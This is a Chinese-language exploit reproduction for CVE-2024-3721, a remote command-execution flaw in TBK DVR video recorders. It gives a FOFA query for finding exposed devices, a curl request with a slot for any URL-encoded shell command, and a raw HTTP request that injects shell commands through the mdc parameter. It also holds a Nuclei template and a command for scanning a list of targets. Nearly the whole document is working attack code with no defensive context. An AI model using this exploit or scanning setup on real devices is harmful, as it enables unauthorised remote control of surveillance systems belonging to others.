CVE-2024-3721漏洞复现

"Location: /login.rsp"

curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeContent-Length: 0Cookie: uid=1Accept-Encoding: gzip

id: CVE-2024-3721

info:  name: TBK DVR硬盘录像机 device.rsp 命令执行漏洞  author: fgz  severity: critical  description: 'TBK DVR硬盘录像机是一套进行图像计算存储处理的计算机系统，具有对图像语音邓进行长时间录像、录音、远程监控和控制功能。该系统device.rsp接口处存在RCE漏洞，会导致系统被未授权的攻击者远控。'  tags: 2024,rce,TBK DVR  metadata:    max-request: 1    fofa-query: "Location: /login.rsp"    verified: true

http:  - raw:      - |        POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Cookie: uid=1

    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'asrgkjh0')"

nuclei.exe -t mypoc/cve/CVE-2024-3721.yaml -l data2.txt